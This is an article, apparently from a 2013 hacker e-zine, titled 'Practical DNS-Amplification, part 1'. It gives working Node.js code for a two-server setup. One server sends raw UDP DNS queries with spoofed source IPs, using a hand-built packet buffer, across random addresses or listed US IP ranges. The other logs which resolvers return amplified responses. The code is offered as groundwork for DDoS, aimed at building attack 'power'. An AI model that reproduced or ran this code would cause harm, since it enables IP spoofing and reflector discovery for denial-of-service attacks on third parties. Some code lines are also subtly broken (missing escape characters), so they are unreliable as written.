Practical DNS-Amplification, part 1


More efficient hosts scanning

Previously described step restricts from rapid increase in power due to:

  • if DNS reponded to YOUR direct request, this doen't mean DNS surely gets packet with spoofed IP;
  • scanning from a single host uses both upstream and downstream bandwidth so there's some packet loss in DNS responses.

More efficient approach is to scan from 2 servers, one dedicated to receiving packets from DNS, while another sends spoofed IP packets to DNS. It is mandatory that servers must be allocated in different data-centers, different countries preferred. There may be one or several spoofing servers. I checked with 2 spoofing and one receiving servers.

NodeJS applications are used to receive and send packets. Let's call receiving side the "client". It is crucially simplified. Functional example:

  • create UDP server listening 5353 port ( dgram.createSocket("udp4") \ server.bind(5353);)
  • incoming packets sorted by size;
  • If packet size fits (over 200-300 bytes), source host is written to a log (fs.createWriteStream \ write);
var dgram = require('dgram');
var fs = require('fs');
var dns = require('dns');
var util = require('util');
 
var ws = fs.createWriteStream("incoming_ips.txt", {
 flags: 'w+'
});
 
var server = dgram.createSocket("udp4");
 
function getPercent(total, amount){
 return (amount * 100) / total;
}
 
server.on('error', function(msg, rinfo){
 console.log('server error');
});
 
server.on('message', function(msg, rinfo){
 if(msg.length > 100){
  var line = util.format("%d:%s:%d:%d", 
   msg.length, rinfo.address, rinfo.port, 
   getPercent(17, msg.length));
  console.log(line);
  ws.write(line + 'n'); 
 }
});
 
server.bind(5353);
console.log('NS Client started');

This code will capture all of our logged packets, and the log would be parser friendly. A separate server would be introduced as a string: packet_size:DNS_IP:amplification_ratio


Spoofing part

Spoofing part is coded using node-raw-socket UNIX-sockets wrapper for *nix that allows to craft custom IP headers for outgoing packets. Of course this requires root priveleges. The principle is simple. We have crafted DNS request packet, along with IP header and UDP packet with DNS-query payload:

var buffer = new Buffer ([
 //--------- IP packet ----------
 0x45,  
 0x00, 
 0x00, 0x25, //length 
 0x7c, 0x9b, //ID 
 0x00, 0x00, //flagsfragment offset
 0x80,  //TTL 
 0x11,  //protocol 
 0x00, 0x00, //crc
 0x00, 0x00, 0x00, 0x00, //source IP
 0xc0, 0xa8, 0x41, 0x01, //dest IP
 //--------- 8 bytes  of UDP packet ----------
 0x14, 0xE9, //sender port
 0x00, 0x35, //target port
 0x00, 0x19, //data length
 0x00, 0x00, //crc
 //--------- 17 bytes of DNS packet ----------     
    0x00, 0x03, 0x01, 0x00, 0x00,0x01,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x1C, 0x00, 0x01
]);

All we need is to insert addresses into IP header:

  • src_ip - packet receiver IP (client)
  • dst_ip - potentially vulnerable DNS IP

Source port 5353 used in UDP packet is the same port client listens to. Checksums are set to 0 for OS stack to recalculate checksums while sending packets.


Where to get IP addresses?

Random generated numbers shows good results, and it's possible to scan countries' ranges. I took listed ranges:

3.0.0.0-3.103.8.36
3.103.8.38-4.18.65.255
4.18.68.0-4.28.83.255
4.28.85.0-4.31.64.63
4.31.64.72-4.59.175.255
4.59.177.0-4.68.23.139
4.68.23.141-4.68.23.189
4.68.23.191-4.68.25.1
4.68.25.4-4.68.115.255
4.68.118.0-4.69.131.255
4.69.132.53-4.69.132.53
4.69.132.61-4.69.132.61
4.69.132.65-4.69.132.65

and explored them subsequently. It is important to provide subsequent packet flow on asynchronous architecture. To ensure this a spike was made proven rather stable, loading 20 megabits of 100 available and not blocking node's event pool.
A shortened spike:

function repeater(diapasons, nextIp , endIp) {
 async(function(){ 
  process.nextTick(function(){
   repeater(diapasons, current_ip + 1, endIp);
  });
 });
}
 
repeater(undefined, undefined, undefined);

It requires raw-socket module to execute: npm install raw-socket
Spoofing part code:

var raw = require ("raw-socket");
var fs = require('fs');
var dns = require('dns');
var util = require('util');
 
var options = {
    protocol: raw.Protocol.UDP,
    bufferSize: 4096*8
};
 
var socket = raw.createSocket (options);
 
socket.setOption (raw.SocketLevel.IPPROTO_IP, 
raw.SocketOption.IP_HDRINCL, new Buffer ([0x00, 0x00, 0x00, 0x01]), 4);
 
 
var buffer = new Buffer ([
 //--------- IP packet ----------
 0x45,  
 0x00, 
 0x00, 0x25, //length 
 0x7c, 0x9b, //ID 
 0x00, 0x00, //flagsfragment offset
 0x80,  //TTL 
 0x11,  //protocol 
 0x00, 0x00, //crc
 0x00, 0x00, 0x00, 0x00, //source IP
 0xc0, 0xa8, 0x41, 0x01, //dest IP
 //--------- 8 bytes  of UDP packet ----------
 0x14, 0xE9, //sender port
 0x00, 0x35, //target port
 0x00, 0x19, //data length
 0x00, 0x00, //crc
 //--------- 17 bytes of DNS packet ----------     
    0x00, 0x03, 0x01, 0x00, 0x00,0x01,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x1C, 0x00, 0x01
]);
 
function ip2long ( ip_address ) {    
    var output = false;
    var parts = [];
    if (ip_address.match(/^d{1,3}.d{1,3}.d{1,3}.d{1,3}$/)) {
        parts  = ip_address.split('.');
        output = ( parts[0] * 16777216 +
        ( parts[1] * 65536 ) +
        ( parts[2] * 256 ) +
        ( parts[3] * 1 ) );
    }
 
    return output;
}
 
function long2ip ( proper_address ) {
    var output = false;
 
    if ( !isNaN ( proper_address ) && ( proper_address >= 0 || 
	proper_address <= 4294967295 ) ) {
  output = Math.floor (proper_address / Math.pow ( 256, 3 ) ) + '.' +
   Math.floor ( ( proper_address % Math.pow ( 256, 3 ) ) / 
   Math.pow ( 256, 2 ) ) + '.' +
   Math.floor ( ( ( proper_address % Math.pow ( 256, 3 ) )  % 
   Math.pow ( 256, 2 ) ) / Math.pow ( 256, 1 ) ) + '.' +
   Math.floor ( ( ( ( proper_address % Math.pow ( 256, 3 ) ) % 
   Math.pow ( 256, 2 ) ) % Math.pow ( 256, 1 ) ) / 
   Math.pow ( 256, 0 ) );
    }
 
    return output;
}
 
 
function rand(max){
 return Math.floor(Math.random()*max)
}
 
function ip_packet_length(buff, newval){
 
 if(typeof(newval) !== 'undefined'){
  buff.writeUInt16BE(newval, 2); 
 }
 return buff.readUInt16BE(2);
}
 
function ip_packet_id(buff, newval){
 
 if(typeof(newval) !== 'undefined'){
  buff.writeUInt16BE(newval, 4); 
 }
 return buff.readUInt16BE(4);
}
 
function ip_packet_ttl(buff, newval){
 
 if(typeof(newval) !== 'undefined'){
  buff.writeUInt8(newval, 8); 
 }
 return buff.readUInt8(8);
}
 
 
function ip_packet_proto(buff, newval){
 
 if(typeof(newval) !== 'undefined'){
  buff.writeUInt8(newval, 9); 
 }
 return buff.readUInt8(9);
}
 
 
function ip_packet_crc(buff, newval){
 
 if(typeof(newval) !== 'undefined'){
  buff.writeUInt16BE(newval, 10); 
 }
 return buff.readUInt16BE(10);
}
 
 
function ip_packet_source_addr(buff, newval){
 
 if(typeof(newval) !== 'undefined'){
  buff.writeUInt32BE(newval, 12); 
 }
 return buff.readUInt32BE(12);
}
 
function ip_packet_dest_addr(buff, newval){
 
 if(typeof(newval) !== 'undefined'){
  buff.writeUInt32BE(newval, 16); 
 }
 return buff.readUInt32BE(16);
}
 
//process IP ranges
function parseIpFile(filename){ 
 
 var diapasons = [];
 var ip_database = fs.readFileSync(filename).toString().split('n');
 
 console.log("ranges readed : %d", ip_database.length);
 
 var totalAddreses = 0;
 
 for(var i = 0; i < ip_database.length; i ++){ 
 
  var rangeStartEnd = ip_database[i].split('-');
  var startIp = ip2long(rangeStartEnd[0]);
  var endIp = ip2long(rangeStartEnd[1]);
 
  totalAddreses += (endIp - startIp);
 
  diapasons.push([
   startIp,
   endIp
  ]);
 }
 
 console.log('total addreses : %d', totalAddreses);
 
 return diapasons;
}
 
function sendPacket(possibleNSip, callback){ 
 
 ip_packet_dest_addr(buffer, possibleNSip);
 ip_packet_source_addr(buffer, collectorIpLong);
 
 
 socket.send (buffer, 0, buffer.length, long2ip(possibleNSip), 
 function (error, bytes) {
     callback();
 });
}
 
function randomIp(){ 
 return ip2long([rand(250),rand(250),rand(250),
 rand(250)].join('.'));
}
 
function repeater(diapasons, nextIp , endIp) {
 var current_ip = nextIp;
 
 if(typeof(diapasons) === 'undefined'){ 
  current_ip = randomIp();
 }
 
 if(typeof(current_ip) === 'undefined'){
  var current_iprange = diapasons.shift();
  if( current_iprange.length > 0) {
   current_ip = current_iprange[0];
   endIp = current_iprange[1];
  }else{ 
   repeater(diapasons, undefined, undefined);
  }
 }
 
 sendPacket(current_ip, function(){ 
  if(current_ip === endIp){
   console.log('end of range, try next'); 
   repeater(diapasons, undefined, undefined);
  }else{ 
   process.nextTick(function(){
    repeater(diapasons, current_ip + 1, endIp);
   });
  }
 });
 
}
 
var collectorIp = '1.2.3.4'; // IP клиента, принимающего пакеты
var collectorIpLong = ip2long(collectorIp);
 
//для рандома передаем undefined вместо списка айпи
//repeater(undefined, undefined, undefined);
//для отправке по диапазонам, передаем отпарсенный диапазон
repeater(parseIpFile('US_ipranges.txt'), undefined, undefined);

<<< Part 0


______________________________
MZh
2013

Inception E-Zine